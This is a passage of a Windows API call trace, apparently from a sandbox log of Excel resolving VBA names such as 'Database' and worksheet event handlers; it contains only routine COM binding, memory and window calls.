lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0159.157] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68a180 [0159.157] strncpy_s (in: _Dst=0xb68a180, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0159.157] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0159.157] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0159.157] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0159.157] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0159.157] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0159.157] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0159.157] IUnknown:Release (This=0xb1d1380) returned 0xb [0159.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.157] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0159.157] IUnknown:Release (This=0xb1d1380) returned 0xa [0159.158] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0159.158] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0159.158] IUnknown:Release (This=0xb1d0570) returned 0x12 [0159.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.158] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0159.158] IUnknown:Release (This=0xb1d0570) returned 0x11 [0159.158] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0159.158] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0159.158] IUnknown:Release (This=0xb1d1920) returned 0x6 [0159.158] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.158] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0159.158] IUnknown:Release (This=0xb1d1920) returned 0x5 [0159.158] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0159.159] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0159.159] IUnknown:Release (This=0x6fed890) returned 0x4 [0159.159] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a180, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.159] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0159.159] IUnknown:Release (This=0x6fed890) returned 0x3 [0159.159] IMalloc:Free (This=0x7feffc15380, pv=0xb68a180) [0159.159] GetCurrentThreadId () returned 0x92c [0159.159] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0159.159] GetDesktopWindow () returned 0x10010 [0159.159] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0159.159] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0159.160] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb68a180 [0159.160] IMalloc:Free (This=0x7feffc15380, pv=0xb68a180) [0159.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0159.195] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68ee20 [0159.195] strncpy_s (in: _Dst=0xb68ee20, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0159.195] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0159.195] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0159.195] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0159.195] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0159.195] IUnknown:Release (This=0xb1d1380) returned 0xb [0159.195] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.195] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0159.196] IUnknown:Release (This=0xb1d1380) returned 0xa [0159.196] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0159.196] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0159.196] IUnknown:Release (This=0xb1d0570) returned 0x12 [0159.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.196] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0159.196] IUnknown:Release (This=0xb1d0570) returned 0x11 [0159.196] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0159.196] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0159.196] IUnknown:Release (This=0xb1d1920) returned 0x6 [0159.196] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.196] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0159.196] IUnknown:Release (This=0xb1d1920) returned 0x5 [0159.197] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0159.197] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0159.197] IUnknown:Release (This=0x6fed890) returned 0x4 [0159.197] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68ee20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0159.197] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0159.197] IUnknown:Release (This=0x6fed890) returned 0x3 [0159.197] IMalloc:Free (This=0x7feffc15380, pv=0xb68ee20) [0162.102] GetAsyncKeyState (vKey=27) returned 0 [0162.102] GetCurrentThreadId () returned 0x92c [0162.102] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0162.102] GetDesktopWindow () returned 0x10010 [0162.102] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0162.102] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0162.102] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcf60 [0162.102] IMalloc:Free (This=0x7feffc15380, pv=0x6edcf60) [0162.195] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd00000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd00000035b) returned 0x0 [0162.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0162.195] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0162.195] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0162.195] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0162.195] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0162.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0162.196] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0162.196] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0162.196] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0162.197] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0162.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0162.197] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0162.197] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0162.197] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0162.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0162.199] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb67f1a0 [0162.199] strncpy_s (in: _Dst=0xb67f1a0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0162.199] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0162.200] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0162.200] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0162.200] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0162.200] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0162.200] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0162.200] IUnknown:Release (This=0xb1d1380) returned 0xb [0162.200] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f1a0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.200] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0162.200] IUnknown:Release (This=0xb1d1380) returned 0xa [0162.200] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0162.201] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0162.201] IUnknown:Release (This=0xb1d0570) returned 0x12 [0162.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f1a0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.201] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0162.201] IUnknown:Release (This=0xb1d0570) returned 0x11 [0162.201] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0162.201] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0162.201] IUnknown:Release (This=0xb1d1920) returned 0x6 [0162.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f1a0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.201] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0162.201] IUnknown:Release (This=0xb1d1920) returned 0x5 [0162.201] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0162.201] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0162.201] IUnknown:Release (This=0x6fed890) returned 0x4 [0162.201] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb67f1a0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.201] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0162.201] IUnknown:Release (This=0x6fed890) returned 0x3 [0162.202] IMalloc:Free (This=0x7feffc15380, pv=0xb67f1a0) [0162.202] GetCurrentThreadId () returned 0x92c [0162.202] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0162.202] GetDesktopWindow () returned 0x10010 [0162.202] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0162.202] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0162.202] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb67f1a0 [0162.202] IMalloc:Free (This=0x7feffc15380, pv=0xb67f1a0) [0162.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0162.239] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb68a900 [0162.239] strncpy_s (in: _Dst=0xb68a900, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0162.239] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0162.239] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0162.239] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0162.239] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0162.239] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0162.240] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0162.240] IUnknown:Release (This=0xb1d1380) returned 0xb [0162.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a900, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.240] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0162.240] IUnknown:Release (This=0xb1d1380) returned 0xa [0162.240] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0162.240] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0162.240] IUnknown:Release (This=0xb1d0570) returned 0x12 [0162.240] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a900, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.240] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0162.240] IUnknown:Release (This=0xb1d0570) returned 0x11 [0162.241] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0162.241] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0162.241] IUnknown:Release (This=0xb1d1920) returned 0x6 [0162.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a900, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.241] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0162.241] IUnknown:Release (This=0xb1d1920) returned 0x5 [0162.241] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0162.241] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0162.241] IUnknown:Release (This=0x6fed890) returned 0x4 [0162.241] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb68a900, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0162.241] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0162.241] IUnknown:Release (This=0x6fed890) returned 0x3 [0162.241] IMalloc:Free (This=0x7feffc15380, pv=0xb68a900) [0165.129] GetAsyncKeyState (vKey=27) returned 0 [0165.129] GetCurrentThreadId () returned 0x92c [0165.129] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0165.129] GetDesktopWindow () returned 0x10010 [0165.129] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0165.129] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0165.129] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcd80 [0165.129] IMalloc:Free (This=0x7feffc15380, pv=0x6edcd80) [0165.237] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000345) returned 0x0 [0165.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0165.237] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0165.237] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0165.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0165.237] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0165.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0165.237] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0165.237] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0165.237] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0165.239] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0165.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0165.239] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0165.239] _mbscpy_s (in: _Dst=0x28e21a, 